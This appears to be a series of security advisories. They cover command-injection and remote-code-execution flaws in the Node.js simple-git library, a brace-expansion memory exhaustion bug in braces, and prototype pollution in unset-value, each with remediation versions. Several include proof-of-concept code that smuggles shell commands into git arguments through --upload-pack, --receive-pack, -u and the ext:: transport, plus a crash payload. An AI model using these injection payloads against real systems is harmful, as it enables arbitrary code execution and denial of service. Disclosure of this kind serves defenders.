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Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Command Injection via argument injection. When calling the .fetch(remote, branch, handlerFn) function, both the remote and branch parameters are passed to the git fetch subcommand. By injecting some git options it was possible to get arbitrary command execution.

PoC

// npm i simple-git
const simpleGit = require('simple-git');
const git = simpleGit();

let callback = () => {};

git.init(); // or git init

let origin1 = 'origin';
let ref1 = "--upload-pack=touch ./HELLO1;";
git.fetch(origin1, ref1,  callback); // git [ 'fetch', 'origin', '--upload-pack=touch ./HELLO1;' ]

let origin2 = "--upload-pack=touch ./HELLO2;";
let ref2 = "foo";
git.fetch(origin2, ref2,  callback); // git [ 'fetch', '--upload-pack=touch ./HELLO2;', 'foo' ]


let origin3 = 'origin';
let ref3 = "--upload-pack=touch ./HELLO3;";
git.fetch(origin3, ref3, { '--depth': '2' }, callback); // git [ 'fetch', '--depth=2', 'origin', '--upload-pack=touch ./HELLO3;' ]

// ls -la

Remediation

Upgrade simple-git to version 3.3.0 or higher.

References

• Github PR
• Github Release

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to an incomplete fix of CVE-2022-24433 which only patches against the git fetch attack vector. A similar use of the --upload-pack feature of git is also supported for git clone, which the prior fix didn't cover.

PoC

const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('file:///tmp/zero123', '/tmp/example-new-repo', ['--upload-pack=touch /tmp/pwn']);

Remediation

Upgrade simple-git to version 3.5.0 or higher.

References

• Github Commit
• GitHub Gist

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the ext transport protocol, which makes it exploitable via clone() method. This vulnerability exists due to an incomplete fix of CVE-2022-24066.

PoC

const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);

Remediation

Upgrade simple-git to version 3.15.0 or higher.

References

• GitHub Commit
• GitHub Release
• Plugin-Unsafe-Actions Documentation

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the clone(), pull(), push() and listRemote() methods, due to improper input sanitization. This vulnerability exists due to an incomplete fix of CVE-2022-25912.

PoC

const simpleGit = require('simple-git');
let git = simpleGit();
git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12');
git.pull('--upload-pack=touch /tmp/pwn0', 'master');
git.push('--receive-pack=touch /tmp/pwn1', 'master');
git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);

Remediation

Upgrade simple-git to version 3.16.0 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub Release